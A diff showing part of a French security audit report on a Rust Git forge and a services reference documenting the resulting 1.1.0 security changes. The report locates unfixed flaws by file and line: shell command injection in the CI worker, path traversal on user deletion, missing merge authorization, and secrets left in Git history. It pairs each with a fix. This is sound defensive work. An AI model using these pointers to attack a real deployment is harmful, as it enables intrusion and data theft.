| 311 | +modules `#[cfg(test)]`. Aucun `panic!`, `unreachable!` ni indexation directe atteignable depuis | |
| 312 | +une entrée utilisateur. `#![forbid(unsafe_code)]` est effectif sur core/web/hooks/ssh-guard, | |
| 313 | +`deny` sur git/ssh, et **aucun bloc `unsafe` n'existe dans le code du projet**. Pour un projet | |
| 314 | +de 64 000 lignes, c'est remarquable — et c'est exactement le genre d'affirmation qu'un audit | |
| 315 | +tiers vérifiera. | |
| 316 | + | |
| 317 | +**Aucune injection SQL.** Recherche exhaustive de `Statement::from_string`, | |
| 318 | +`from_sql_and_values`, `raw_sql`, `execute_unprepared` et des `format!` de requêtes : le seul | |
| 319 | +SQL brut est dans les migrations, avec des littéraux statiques. Tous les accès applicatifs | |
| 320 | +passent par SeaORM paramétré, y compris la recherche et le tri. | |
| 321 | + | |
| 322 | +**Une porte unique pour la lecture des dépôts.** Tous les chemins de lecture passent par | |
| 323 | +`resolve_repo_access` (`helpers.rs:300`). Aucun handler de lecture ne la contourne : | |
| 324 | +arborescence, blob, commits, diff, branches, tags, issues, PR, CI, sécurité. **La fuite de | |
| 325 | +dépôt privé par le contenu lui-même n'existe pas** ; les deux fuites relevées (E-10, M-14) | |
| 326 | +passent par des ressources satellites ou le canal d'erreur. | |
| 327 | + | |
| 328 | +**Aucune route « raw ».** Il n'existe aucun point d'accès servant le contenu brut d'un blob, ni | |
| 329 | +aucun upload d'avatar ou de pièce jointe. Le vecteur XSS stockée le plus classique d'une forge | |
| 330 | +— servir un SVG hostile depuis l'origine — est structurellement fermé. | |
| 331 | + | |
| 332 | +**CSRF réellement robuste.** Jeton de 32 octets lié à la session, comparaison en temps constant | |
| 333 | +via `subtle`, méthodes sûres exemptées, corps bufferisé et rejoué. La séparation | |
| 334 | +`browser_routes` / `machine_routes` est rigoureuse : l'API JSON n'accepte **que** l'en-tête | |
| 335 | +`Authorization`, sans repli sur cookie, ce qui rend le contournement par Bearer inoffensif. Les | |
| 336 | +tests vérifient aussi le rejet d'un jeton *falsifié*, pas seulement absent. | |
| 337 | + | |
| 338 | +**Gestion des secrets d'authentification exemplaire.** Aucun secret stocké en clair : PAT et | |
| 339 | +refresh tokens en SHA-256, jetons de reset en SHA-256 d'un UUID v4, secrets TOTP chiffrés en | |
| 340 | +AES-256-GCM. `PersonalTokenService::verify` compare en temps constant. Les newtypes `TokenHash` | |
| 341 | +et `PlainToken` sont zeroizés et leur `Display` est rédigé. `AuthService` vérifie un | |
| 342 | +`DUMMY_HASH` même pour un identifiant inexistant, fermant l'énumération temporelle. | |
| 343 | + | |
| 344 | +**PROXY protocol correctement verrouillé.** L'en-tête n'est accepté que d'un pair figurant dans | |
| 345 | +`trusted_proxies`, et le démarrage **échoue** si le PROXY est activé sans allowlist | |
| 346 | +(`ssh-guard/src/config.rs:567`). L'usurpation d'IP pour contourner un ban est fermée — c'est le | |
| 347 | +piège classique de ce type de couche, évité. | |
| 348 | + | |
| 349 | +**Sous-processus git en argv natif.** `pack_protocol`, `session.rs` et `sbom_service` | |
| 350 | +n'utilisent pas de shell, allowlistent strictement les services (`git-upload-pack`, | |
| 351 | +`git-receive-pack`) et refusent le shell interactif. `ci_worker` est la seule exception — d'où | |
| 352 | +C-1. | |
| 353 | + | |
| 354 | +**Chaîne Markdown correcte.** pulldown-cmark laisse passer le HTML brut, mais `render_markdown` | |
| 355 | +termine par `ammonia::clean` avec une allowlist proche du défaut. Les schémas `javascript:` et | |
| 356 | +`data:` sont rejetés, `rel="noopener noreferrer"` est ajouté automatiquement. Le filtrage des | |
| 357 | +`style=` de syntect est soigné, avec des tests couvrant `url(javascript:…)` et `expression(…)`. | |
| 358 | +Les dix occurrences de `|safe` ont été inventoriées : **aucune n'est dangereuse**. | |
| 359 | + | |
| 360 | +**Journalisation propre.** Aucun mot de passe, jeton, en-tête `Authorization` ni cookie écrit | |
| 361 | +dans les journaux. Aucun `println!` ni `dbg!` résiduel. Les erreurs de base renvoient un message | |
| 362 | +générique au client, le détail restant côté serveur. | |
| 363 | + | |
| 364 | +**Défauts fonctionnels prudents.** Inscription fermée, validation d'email requise, rate | |
| 365 | +limiting configuré, `SSH_GUARD_ENABLED=true` avec `SSH_GUARD_DRY_RUN=false`, `COOKIE_SECURE` | |
| 366 | +forcé dès que `APP_DEBUG=false` (avec journalisation de l'override ignoré), `SameSite=Strict` | |
| 367 | +par défaut, empreintes de clés SSH uniques globalement, RSA ≥ 4096 bits. | |
| 368 | + | |
| 369 | +Les commentaires `SEC-*` disséminés dans le code attestent d'un travail de durcissement | |
| 370 | +antérieur méthodique. Les constats de ce rapport sont des **oublis ponctuels dans une | |
| 371 | +architecture saine**, pas le symptôme d'une conception négligente. | |
| 372 | + | |
| 373 | +### 4.2 Le motif d'erreur dominant : la garde manquante sur une seule branche | |
| 374 | + | |
| 375 | +Six constats parmi les plus graves suivent exactement le même schéma : **le contrôle de | |
| 376 | +sécurité existe, il est correctement écrit, mais une seule branche du code l'a oublié.** | |
| 377 | + | |
| 378 | +| Constat | Où le contrôle existe | Où il manque | | |
| 379 | +|---|---|---| | |
| 380 | +| C-1 | `sbom_service.rs:211` (argv natif, `commit_sha` validé) | `ci_worker.rs:380` (`sh -c`) | | |
| 381 | +| C-2 | `on_user_registered` (valide `..`, `/`, `\`) | `on_user_deleted` (rien) | | |
| 382 | +| C-3 | `pull_requests.rs:494` (SSR, `can_manage`) | `api/pulls.rs:190` (API, rien) | | |
| 383 | +| E-10 | `api/ci.rs:223` (vérifie l'appartenance) | `ci.rs:116` (SSR, rien) | | |
| 384 | +| E-11 | `api/ci.rs:542` (vérifie le scope) | `ci.rs:543` (SSR, rien) | | |
| 385 | +| M-12 | `issue_labels.rs:56` (intersecte les IDs autorisés) | `issues.rs:192` (rien) | | |
| 386 | + | |
| 387 | +**Conséquence pratique** : les correctifs consistent à **généraliser des motifs déjà écrits et | |
| 388 | +testés dans le dépôt**, pas à concevoir une nouvelle mécanique. Le risque de régression est | |
| 389 | +faible. | |
| 390 | + | |
| 391 | +**Conséquence méthodologique** : ce motif se reproduira tant que les gardes seront appelées | |
| 392 | +*dans le corps* des handlers plutôt que portées par le type. Un oubli ne produit alors aucune | |
| 393 | +erreur de compilation. La correction structurante consiste à enrichir `ResolvedRepo` et | |
| 394 | +`ApiRepoContext` d'un champ `can_push` et à exiger un extracteur typé pour les routes mutantes. | |
| 395 | + | |
| 396 | +### 4.3 Note sur la CI : le modèle de menace mérite d'être explicité | |
| 397 | + | |
| 398 | +Une CI exécute du code arbitraire **par conception** — ce n'est pas une vulnérabilité. Le | |
| 399 | +problème est ailleurs, et il est double. | |
| 400 | + | |
| 401 | +D'abord, C-1 fait sortir l'exécution du périmètre prévu : elle a lieu sur l'hôte de la forge, | |
| 402 | +pas sur le runner. L'isolation architecturale est contournée avant même d'entrer en jeu. | |
| 403 | + | |
| 404 | +Ensuite, `CI_REMOTE_HOST=localhost` est le **défaut** (`config.rs:189`), et | |
| 405 | +`docs/CI_REMOTE_RUNNER.md` le présente comme valable pour « dev, petites prods ». Dans ce mode, | |
| 406 | +le `dagger call` s'exécute sur la machine Gitrust, et Dagger requiert l'accès au socket Docker | |
| 407 | +— c'est-à-dire root sur l'hôte. Le code CI d'un utilisateur quelconque peut alors monter | |
| 408 | +`GIT_REPOS_BASE_PATH` et lire tous les dépôts privés. La documentation recommande bien | |
| 409 | +l'isolation, mais **rien dans le code ne l'impose et le défaut la viole**. | |
| 410 | + | |
| 411 | +Recommandation : refuser `localhost` lorsque `APP_DEBUG=false`, ou au minimum émettre un | |
| 412 | +avertissement de démarrage explicite. Documenter que le runner doit être une machine séparée, | |
| 413 | +sans accès aux secrets ni aux dépôts. | |
| 414 | + | |
| 415 | +--- | |
| 416 | + | |
| 417 | +## 5. Plan de remédiation | |
| 418 | + | |
| 419 | +### Immédiat — avant toute démonstration ou remise à un tiers | |
| 420 | + | |
| 421 | +| Action | Constats fermés | Effort | | |
| 422 | +|---|---|---| | |
| 423 | +| **Faire tourner tous les secrets** : `JWT_SECRET`, mot de passe PostgreSQL, `ADMIN_PASSWORD`, `SMTP_PASSWORD`, `OAUTH_ENCRYPTION_KEY` — production **et** démo. Puis purger `refresh_tokens` et `sessions`. | C-4, C-5, C-6 | 1 h | | |
| 424 | +| **Déplacer le dump SQL** hors du dépôt, en `chmod 600`, et durcir `.gitignore` (`*.sql`, `/Services/`). | C-8 | 15 min | | |
| 425 | +| **Valider `username`** : newtype sur le modèle de `RepoSlug` (`^[a-z0-9-]{3,39}$`, pas de tiret en tête/queue, noms réservés), appliqué à `register_submit`, à la route API, à `update_profile` et à `admin_users`. | C-1, C-2, E-6, E-13, M-1 | 2 h | | |
| 426 | +| **Supprimer le `sh -c`** de `prepare_workspace` : chaîner `git archive` et `tar` en argv natif, comme `sbom_service.rs:211`. Valider `commit_sha` en `^[0-9a-f]{40}$`. | C-1, CI-04 | 1 h | | |
| 427 | +| **Ajouter `can_manage` à `merge_pull`** (API). Trois lignes. | C-3 | 15 min | | |
| 428 | +| **Valider le chemin dans `on_user_deleted`** : même contrôle que `on_user_registered`, plus vérification de containment après canonicalisation. | C-2 | 30 min | | |
| 429 | +| **Vider `JWT_SECRET` dans `.env.example`** et rejeter au démarrage tout secret contenant `REMPLACER`, `CHANGE`, `EXAMPLE`, `TODO`. Faire échouer `deploy.sh` au lieu de promouvoir `.env.example`. | C-7 | 1 h | | |
| 430 | + | |
| 431 | +### Sous 48 heures | |
| 432 | + | |
| 433 | +- **Réécrire l'historique Git** (`git filter-repo --path .env.gitrustmule --path .env.test --invert-paths`), forcer la mise à jour des distants, demander la recréation de tous les clones. *À arbitrer selon le nombre de clones existants.* — **C-4, C-5** | |
| 434 | +- Retirer `.env.test` du suivi, le remplacer par un `.env.test.example` à valeurs ostensiblement factices. — **C-5** | |
| 435 | +- `APP_DEBUG=false` et `COOKIE_SECURE=true` sur toutes les instances servies en TLS. — **E-16** | |
| 436 | +- Activer le certificat Let's Encrypt par défaut dans la conf nginx. — **E-17** | |
| 437 | +- `chmod 600` sur le `.env` distant et sur la clé hôte SSH dans `deploy.sh`. — **E-15** | |
| 438 | +- `cargo update` : `russh ≥ 0.60.3` en priorité (pré-authentification), puis `h2`, `rustls`, `bcrypt`. — **E-12** | |
| 439 | +- Restreindre PostgreSQL à `127.0.0.1:5432` et rendre `POSTGRES_PASSWORD` obligatoire (`:?`). — **E-18** | |
| 440 | + | |
| 441 | +### Sous une semaine | |
| 442 | + | |
| 443 | +- **Ajouter `can_push` à `ResolvedRepo` et `ApiRepoContext`**, puis appliquer la garde aux neuf handlers d'écriture. C'est le correctif structurant : il supprime la cause racine plutôt que ses symptômes. — **E-7** | |
| 444 | +- Sortir les valeurs dynamiques des attributs `onclick`/`onsubmit` vers des attributs `data-*` lus par délégation d'événement. Restreindre `validate_label_name` à un jeu de caractères sûr. — **E-5, E-6** | |
| 445 | +- Porter les scopes dans `ApiUser`, exiger `GitWrite` strict sur `git-receive-pack`, exposer la sélection de scope à la création de PAT. — **E-8** | |
| 446 | +- Passer le périmètre (`owner_id`, `repo_id`) dans les signatures de `LabelService`, `CiService` et `CiVariableService`, et filtrer en SQL. — **E-9, E-10, E-11, M-12** | |
| 447 | +- Faire échouer en mode fermé le contrôle 2FA, et poser un `RateLimitService` statique sur `POST /login` (clé IP **et** clé identifiant) et sur `POST /login/2fa`. — **E-1, E-2, E-3** | |
| 448 | +- Brancher la vérification d'email sur le login SSR et envoyer le mail de validation à l'inscription. — **E-4** | |
| 449 | +- Retirer `'unsafe-eval'` de la CSP (aucun impact fonctionnel constaté), corriger la redirection ouverte (`\` traité comme `/`). — **M-10, M-11** | |
| 450 | +- Timeouts sur les sous-processus git, `DefaultBodyLimit` explicite, brancher `SSH_GUARD_MAX_CONCURRENT_PER_IP`. — **E-14, M-19** | |
| 451 | + | |
| 452 | +### Sous un mois | |
| 453 | + | |
| 454 | +- Externaliser les 7 blocs `<script>` inline, puis retirer `'unsafe-inline'` de `script-src`. | |
| 455 | +- Compléter le durcissement systemd (`CapabilityBoundingSet=`, `SystemCallFilter`, `RestrictAddressFamilies`, `MemoryMax`), retirer `CAP_NET_BIND_SERVICE`. | |
| 456 | +- Fiabiliser `setup-remote-ci.sh` : empreintes SHA-256 épinglées au lieu de `curl | sh`, parsing du `.env` au lieu de `source`. | |
| 457 | +- Épingler les images Docker par empreinte, ajouter les healthchecks, retirer `DATABASE_URL` du `ENV` du Dockerfile. | |
| 458 | +- Ré-authentification (« sudo mode ») pour désactiver le 2FA, changer l'email, ajouter une clé SSH, créer un PAT. Confirmation par email du changement d'adresse. | |
| 459 | +- Refuser `CI_REMOTE_HOST=localhost` en production, ou avertir bruyamment. | |
| 460 | +- Uniformiser les réponses d'erreur sur 404 pour fermer l'énumération de dépôts privés. | |
| 461 | +- Rendre `cargo audit --deny warnings` bloquant dans le pipeline Dagger, et ajouter `gitleaks` ou `trufflehog`. | |
| 462 | +- Ajouter un test qui échoue sur tout `<form method="post">` dépourvu de `csrf_token`. | |
| 463 | + | |
| 464 | +--- | |
| 465 | + | |
| 466 | +## 6. Limites de cet audit | |
| 467 | + | |
| 468 | +**Analyse statique exclusivement.** Aucun scénario n'a été rejoué contre une instance en | |
| 469 | +fonctionnement. Les niveaux de confiance « confirmé » signifient « établi par lecture du code | |
| 470 | +et de ses appelants », pas « exploité en conditions réelles ». Les constats C-1, C-3, E-1, E-5 | |
| 471 | +et E-6 se prêtent bien à des tests d'intégration de non-régression, un par scénario — c'est la | |
| 472 | +suite logique de ce rapport. | |
| 473 | + | |
| 474 | +**Fédération ActivityPub exclue** sur consigne. Attention toutefois : `AccessService` expose | |
| 475 | +des variantes `*_for_identity` acceptant `Identity::Remote`, et `git_http.rs` route les PAT | |
| 476 | +`rwfed_pat_*` vers un vérificateur distinct. La frontière entre les deux mondes est perméable, | |
| 477 | +et les correctifs de E-7 et E-8 devront traiter les deux formes d'identité. Un audit dédié | |
| 478 | +reste nécessaire, d'autant que trois gabarits fediverse ont été repérés sans jeton CSRF. | |
| 479 | + | |
| 480 | +**Valeurs de production non vérifiées.** `.env.production` de l'instance `gitrust.nuage.ebii` | |
| 481 | +n'est pas dans le dépôt. Les valeurs effectives de `APP_DEBUG`, `COOKIE_SECURE` et | |
| 482 | +`CORS_ALLOWED_ORIGINS` sur la machine cible restent à confirmer. E-15, E-16 et E-18 en dépendent | |
| 483 | +directement. | |
| 484 | + | |
| 485 | +**Non examinés** : règles fail2ban, module Dagger `.dagger/`, profils `ci-engine/profiles/`, | |
| 486 | +dépendances npm (`npm audit` non exécuté), sûreté de Mermaid face à un diagramme hostile, | |
| 487 | +privilèges PostgreSQL effectifs du rôle applicatif, contenu réel du dump SQL (volontairement | |
| 488 | +non lu, seuls les blocs `COPY` ont été comptés). | |
| 489 | + | |
| 490 | +**Framework `rustwarden-core`** inspecté en lecture seule et uniquement sur les points | |
| 491 | +directement pertinents. Neuf constats en relèvent (marqués *upstream*) et doivent être soit | |
| 492 | +contournés côté gitrust par wrapper, soit remontés en amont, conformément à la règle de | |
| 493 | +non-modification. | |
| 494 | + | |
| 495 | +--- | |
| 496 | + | |
| 497 | +## 7. Traçabilité | |
| 498 | + | |
| 499 | +Audit réalisé par six analyses parallèles spécialisées, dont les constats les plus graves ont | |
| 500 | +été revérifiés manuellement sur le code source : | |
| 501 | + | |
| 502 | +| Volet | Constats | Vérification manuelle | | |
| 503 | +|---|---|---| | |
| 504 | +| Authentification et identité | 23 | fail-open 2FA, absence de validation `username` | | |
| 505 | +| Autorisation, IDOR, visibilité | 11 | `resolve_api_repo`, `merge_pull` | | |
| 506 | +| Accès Git (HTTP, SSH, ssh-guard) | 16 | `on_user_deleted`, `compute_disk_path` | | |
| 507 | +| Injections, CI, SSRF, SQL | 16 | `sh -c` de `prepare_workspace` | | |
| 508 | +| XSS, CSRF, en-têtes, CSP | 11 | attributs `onclick`/`onsubmit`, configuration ammonia | | |
| 509 | +| Configuration, déploiement, secrets | 18 | empreintes `ADMIN_PASSWORD`, historique Git, `.env.test` | | |
| 510 | + | |
| 511 | +`cargo audit` exécuté le 17 septembre 2026 : 15 vulnérabilités, 7 avertissements. |
M
docs/SERVICES_REFERENCE.md
+375
-14
@@ -12,6 +12,12 @@
| 12 | 12 | > |
| 13 | 13 | > **`merge_routes(..)` vaut maintenant `merge_browser_routes` (CSRF par défaut, fail-safe).** Tout consommateur qui montait une **API JSON / un webhook** via `merge_routes` doit le **migrer vers `merge_machine_routes`**, sinon ces routes renverront `403` faute de token. Le routeur UI est partitionné : `rustwarden_ui::default_routes()` est **déprécié** au profit de `browser_routes()` (SSR) + `api_routes()` (`/api/v1/*`). Détails et table de migration en **[§18](#18-middleware-csrf-auth-rate-limit)**. |
| 14 | 14 | |
| 15 | +> ⚠️ **Security 1.1.0 (RFC 0036-0041) — propagé par `update-project`.** Minor de sécurité : **3 API ajoutées** ([`Username`](#username-value-object) §3, [`SecurityHeadersConfig`](#en-tetes-de-securite-securityheadersconfig) §18, [`EmailChangeService`](#emailchangeservice) §3), **4 changements de comportement** (§3 `create_user` / `update_profile`, §4 `authenticate_user`, §19 TOTP), **2 migrations SeaORM à jouer** (`m20260918_000010_totp_last_used_step`, `m20260919_000011_pending_email_changes`), **5 routes ajoutées** (§3). Fenêtre d'adoption **14 jours**. | |
| 16 | +> | |
| 17 | +> Actions consommateur : (1) **jouer la migration avant de déployer le binaire** (`cargo run --bin migrate`) — le modèle SeaORM `user_totp` déclare `last_used_step`, donc sur un schéma pré-migration **toute** requête sur `user_totp` échoue, dont `TotpService::is_totp_enabled` appelée à **chaque** login : un réplica 1.1.0 sur un schéma pré-migration fait échouer **tous les logins en 500**, pas seulement ceux des comptes 2FA ; (2) vérifier que les usernames générés par votre app passent `Username::parse` (`[a-z0-9-]`, 3–39, pas de majuscule) ; (3) **`update_profile` n'écrit plus `users.email`** : tout appel passant une nouvelle adresse renvoie `AppError::Validation` — basculer sur `EmailChangeService::request_change` (utilisateur) ou `admin_force_change` (opérateur, en remplacement de `PUT /admin/users/{id}` pour l'adresse), et vérifier que SMTP + le worker `email_queue` tournent avant le bump (§3) ; (4) le hook `auth.login_blocked` **n'est plus émis** par le blocage e-mail (la ligne `audit_logs` l'est toujours) ; (5) retirer les workarounds : newtype `Username` local, overlay `SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)`, patch local re-vérifiant l'e-mail, appel applicatif à `PasswordChangeService::invalidate_on_email_change`. Détail : [MIGRATION_GUIDE.md](MIGRATION_GUIDE.md) § *2026-09-18 — RFC 0036-0041 (1.1.0)* et CHANGELOG `[1.1.0]`. | |
| 18 | + | |
| 19 | +> ⚠️ **Security 1.0.1 — propagé par `update-project`.** Patch interne (pas de nouvelle API `pub`). Fenêtre d'adoption **14 jours**. Actions consommateur : (1) si vous servez le routeur vous-mêmes, `into_make_service_with_connect_info::<SocketAddr>()` — `RustwardenApp::run()` le fait déjà ; (2) `JWT_SECRET` égal à un placeholder connu (dont `REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE`) **refuse le boot** ; (3) `database/.env` doit définir `POSTGRES_PASSWORD` (plus de fallback compose) et PostgreSQL n'écoute que `127.0.0.1:5432` ; (4) retirer les workarounds dupliqués (garde JWT maison, rate-limit IP headers-only, `RateLimitService::new()` par requête). Détail : [MIGRATION_GUIDE.md](MIGRATION_GUIDE.md) § 2026-09-18 et CHANGELOG `[1.0.1]`. | |
| 20 | + | |
| 15 | 21 | --- |
| 16 | 22 | |
| 17 | 23 | ## Table des matieres |
@@ -124,7 +130,7 @@ Gestion CRUD des utilisateurs et de leurs roles.
| 124 | 130 | |
| 125 | 131 | | Methode | Signature | Description | |
| 126 | 132 | |---------|-----------|-------------| |
| 127 | -| `create_user` | `(db, username: String, email: String, password_hash: String, must_change_password: bool) → Result<user::Model>` | Cree un utilisateur. Le mot de passe doit etre **pre-hashe** via `PasswordService::hash_password`. | | |
| 133 | +| `create_user` | `(db, username: String, email: String, password_hash: String, must_change_password: bool) → Result<user::Model>` | Cree un utilisateur. Le mot de passe doit etre **pre-hashe** via `PasswordService::hash_password`. **1.1.0** : valide `username` via [`Username::parse`](#username-value-object) — porte de validation unique (RFC 0036). `email_verified` est toujours initialise a `false`. | | |
| 128 | 134 | | `get_user_by_id` | `(db, user_id: Uuid) → Result<Option<user::Model>>` | Recherche par ID. | |
| 129 | 135 | | `get_user_by_username` | `(db, username: &str) → Result<Option<user::Model>>` | Recherche par nom d'utilisateur. | |
| 130 | 136 | | `get_user_by_email` | `(db, email: &str) → Result<Option<user::Model>>` | Recherche par email. | |
@@ -133,7 +139,7 @@ Gestion CRUD des utilisateurs et de leurs roles.
| 133 | 139 | | `get_user_roles` | `(db, user_id: Uuid) → Result<Vec<String>>` | Retourne les noms des roles d'un utilisateur (ex: `["admin", "user"]`). | |
| 134 | 140 | | `assign_role_to_user` | `(db, user_id: Uuid, role_id: Uuid) → Result<user_role::Model>` | Assigne un role a un utilisateur. | |
| 135 | 141 | | `unassign_role_from_user` | `(db, user_id: Uuid, role_id: Uuid) → Result<()>` | Retire un role a un utilisateur. Empeche de retirer le role `admin` au dernier administrateur. | |
| 136 | -| `update_profile` | `(db, user_id: Uuid, username: Option<String>, email: Option<String>) → Result<user::Model>` | Met a jour le profil. Valide l'unicite du username et de l'email. | | |
| 142 | +| `update_profile` | `(db, user_id: Uuid, username: Option<String>, email: Option<String>) → Result<user::Model>` | Met a jour le profil. Valide l'unicite du username. **1.1.0** : `Username::parse` sur un **vrai rename** uniquement (RFC 0036) ; **n'ecrit plus jamais `users.email`** — un vrai changement d'adresse renvoie `AppError::Validation` vers [`EmailChangeService`](#emailchangeservice) (RFC 0041), un echo de l'adresse courante reste un no-op. | | |
| 137 | 143 | | `change_password` | `(db, user_id: Uuid, old_password: &str, new_password: &str, current_token_id: Option<Uuid>) → Result<(Uuid, String)>` | Initie un changement de mot de passe avec confirmation email (cree une demande pendante). Retourne `(request_id, plain_token)`. | |
| 138 | 144 | | `change_password_direct` | `(db, user_id: Uuid, old_password: &str, new_password: &str) → Result<()>` | Change le mot de passe directement (sans confirmation email). Verifie l'ancien mot de passe, valide la complexite, revoque les sessions (SEC-M7). | |
| 139 | 145 | | `admin_reset_password` | `(db, user_id: Uuid, new_password: &str) → Result<()>` | Reset admin : hash et applique le nouveau mot de passe. Force `must_change_password = true`. Revoque les sessions (SEC-M7). | |
@@ -155,6 +161,176 @@ Gestion CRUD des utilisateurs et de leurs roles.
| 155 | 161 | | `created_at` | `DateTime` | Date de creation | |
| 156 | 162 | | `updated_at` | `DateTime` | Derniere mise a jour | |
| 157 | 163 | |
| 164 | +#### Regles de nommage (RFC 0036, depuis 1.1.0) | |
| 165 | + | |
| 166 | +`create_user` (porte unique) et `update_profile` (sur **rename** uniquement) | |
| 167 | +refusent tout username hors charset `[a-z0-9-]{3,39}` — regles completes et | |
| 168 | +exemples dans [`Username` (value object)](#username-value-object) ci-dessous. | |
| 169 | +`POST /api/v1/auth/register` applique le meme parse en defense en profondeur | |
| 170 | +(`RegisterRequest.username` : `max` passe de **64 a 39**). | |
| 171 | + | |
| 172 | +**Aucun `CHECK` SQL, aucune migration, aucun rewrite** : les comptes existants | |
| 173 | +hors charset continuent de **se connecter** ; seules les **ecritures** sont | |
| 174 | +controlees. Un client qui renvoie le username courant (formulaire de profil | |
| 175 | +postant tous les champs) est traite en **no-op** — le grandfathering est preserve. | |
| 176 | + | |
| 177 | +#### Changement d'adresse e-mail (RFC 0041, depuis 1.1.0) | |
| 178 | + | |
| 179 | +`update_profile` **n'ecrit plus jamais** `users.email` : | |
| 180 | + | |
| 181 | +| Cas | Comportement | | |
| 182 | +|-----|--------------| | |
| 183 | +| Nouvelle adresse (comparaison exacte apres `trim`) | `AppError::Validation` — le message renvoie explicitement vers `EmailChangeService::request_change` / `POST /api/v1/auth/email-change`. **Rien n'est ecrit**, y compris le username passe dans le meme appel | | |
| 184 | +| Echo de l'adresse courante | No-op complet : le champ est ignore, le reste du profil est mis a jour normalement | | |
| 185 | +| Rename username seul | Inchange (RFC 0036) | | |
| 186 | +| Chemin **admin** | Identique : `PUT /admin/users/:id` (rustwarden-ui) passe par `update_profile` et ne change donc plus l'adresse. Le recours operateur est [`admin_force_change`](#emailchangeservice) | | |
| 187 | + | |
| 188 | +Le changement d'adresse reel est un flux **en deux temps** decrit ci-dessous. | |
| 189 | +Tant que le lien envoye a la nouvelle boite n'est pas suivi, **rien ne change en | |
| 190 | +base** : l'adresse courante reste celle du compte et reste verifiee. | |
| 191 | + | |
| 192 | +### `EmailChangeService` | |
| 193 | + | |
| 194 | +**Module** : `rustwarden_core::services::email_change_service` | |
| 195 | +**RFC** : [0041](rfcs/0041-pending-email-changes.md) — depuis **1.1.0** | |
| 196 | +**Migration** : `m20260919_000011_pending_email_changes` | |
| 197 | + | |
| 198 | +Changement d'adresse e-mail en deux temps, avec preuve de possession de la | |
| 199 | +**nouvelle** boite et droit d'alerte de l'**ancienne**. | |
| 200 | + | |
| 201 | +| Methode | Signature | Description | | |
| 202 | +|---------|-----------|-------------| | |
| 203 | +| `new` | `(config: EmailConfig) → Self` | Construit le service. | | |
| 204 | +| `with_i18n` | `(self, i18n: Arc<I18nService>) → Self` | Traduit sujets et corps des mails ; sans elle, libelles anglais embarques. | | |
| 205 | +| `request_change` | `(&self, db, user_id: Uuid, new_email: &str, current_password: &str) → Result<()>` | Re-authentifie avec le **mot de passe courant**, valide format et unicite, consomme toute demande pendante du compte, ecrit la ligne d'attente et met **deux** mails en file (confirmation vers la nouvelle adresse, avis + lien de signalement vers l'ancienne). `users.email` et `email_verified` **ne bougent pas**. | | |
| 206 | +| `confirm_change` | `(&self, db, token: &str, hooks: Option<&Arc<dyn RustwardenHooks>>) → Result<Uuid>` | Ecrit la nouvelle adresse **deja verifiee**, **revoque tous les refresh tokens** du compte, invalide les demandes de changement de mot de passe pendantes, trace `audit_logs` `email_changed`. | | |
| 207 | +| `report_suspicious` | `(&self, db, report_token: &str, hooks: Option<&Arc<dyn RustwardenHooks>>) → Result<Uuid>` | Marque la demande signalee, trace en `audit_logs` (WARN) et alerte tous les administrateurs. **Ne bloque pas** le changement. | | |
| 208 | +| `admin_force_change` | `(&self, db, actor_id: Uuid, user_id: Uuid, new_email: &str, hooks: Option<&Arc<dyn RustwardenHooks>>) → Result<()>` | Recours operateur : exige le role `admin` (sinon `AppError::Forbidden`), ecrit l'adresse sans confirmation, revoque les sessions de la cible, notifie les deux boites, trace `email_changed_by_admin` (WARN). `on_email_verified` n'est **pas** emis. | | |
| 209 | +| `cleanup_expired` | `(db) → Result<u64>` | Supprime les lignes expirees depuis plus de 30 jours (consommees et signalees comprises). | | |
| 210 | +| `inspect_confirmation_token` | `(db, token: &str) → Result<EmailChangeLinkState>` | Lecture **sans effet de bord** de l'etat d'un lien de confirmation. | | |
| 211 | +| `inspect_report_token` | `(db, report_token: &str) → Result<EmailChangeLinkState>` | Idem pour un lien de signalement. | | |
| 212 | + | |
| 213 | +`EmailChangeLinkState` : `Usable`, `Unknown`, `Expired`, `Used`. | |
| 214 | + | |
| 215 | +**Duree de validite** : `email_validation_expiration_hours` — le reglage deja | |
| 216 | +utilise par la validation d'adresse, pas de nouvelle variable d'environnement. | |
| 217 | + | |
| 218 | +**Limiteur** : 3 demandes par heure et par utilisateur (`email_change:{user_id}`, | |
| 219 | +budget distinct de `email_verify` et `pwd_reset`), plus le budget IP existant sur | |
| 220 | +`POST /api/v1/auth/email-change`. Depassement → `AppError::TooManyRequests`. | |
| 221 | + | |
| 222 | +**Fail-loud** : contrairement aux notifications best-effort du reste du | |
| 223 | +framework, `request_change` **echoue** si la mise en file des mails echoue — | |
| 224 | +mieux vaut pas de demande qu'une demande dont le lien n'arrivera jamais. Rien | |
| 225 | +n'est ecrit sur le compte dans ce cas. | |
| 226 | + | |
| 227 | +**Masquage** : adresses masquees (`jo***@ex***`) dans les logs, `audit_logs`, | |
| 228 | +payloads de hooks **et** corps de reponse de la demande. | |
| 229 | + | |
| 230 | +#### Routes (canal machine) | |
| 231 | + | |
| 232 | +Les liens envoyes par e-mail ouvrent une **page interstitielle** : le `GET` | |
| 233 | +affiche un formulaire, c'est le `POST` du bouton qui agit. Aucun `GET` n'a | |
| 234 | +d'effet de bord — une passerelle anti-phishing qui precharge les liens ne peut | |
| 235 | +donc pas confirmer un changement d'adresse a la place de l'utilisateur. | |
| 236 | + | |
| 237 | +| Methode | Chemin | Auth | Effet | | |
| 238 | +|---|---|---|---| | |
| 239 | +| POST | `/api/v1/auth/email-change` | Bearer + **mot de passe courant** dans le corps | ouvre la demande | | |
| 240 | +| GET | `/api/v1/auth/email-change/confirm/{token}` | public (lien de mail) | **rend la page**, n'ecrit rien | | |
| 241 | +| POST | `/api/v1/auth/email-change/confirm/{token}` | public (bouton de la page) | applique le changement | | |
| 242 | +| GET | `/api/v1/auth/email-change/report/{token}` | public (lien de mail) | **rend la page**, n'ecrit rien | | |
| 243 | +| POST | `/api/v1/auth/email-change/report/{token}` | public (bouton de la page) | enregistre le signalement | | |
| 244 | + | |
| 245 | +Montees par `auth_api_routes()`, donc par `merge_machine_routes` — **jamais** | |
| 246 | +derriere la couche CSRF, sans quoi la page ouverte depuis une boite mail serait | |
| 247 | +inutilisable. Les pages sont du HTML minimal autoportant produit par le core : | |
| 248 | +ni Askama, ni `rustwarden-ui`, ni JavaScript, ni ressource externe. Pour votre | |
| 249 | +propre presentation, montez vos routes `GET` et postez vers les routes `POST` | |
| 250 | +du core. | |
| 251 | + | |
| 252 | +#### Purge des demandes expirees | |
| 253 | + | |
| 254 | +`PendingEmailChangeCleanupProcessor` (prelude) purge les lignes expirees depuis | |
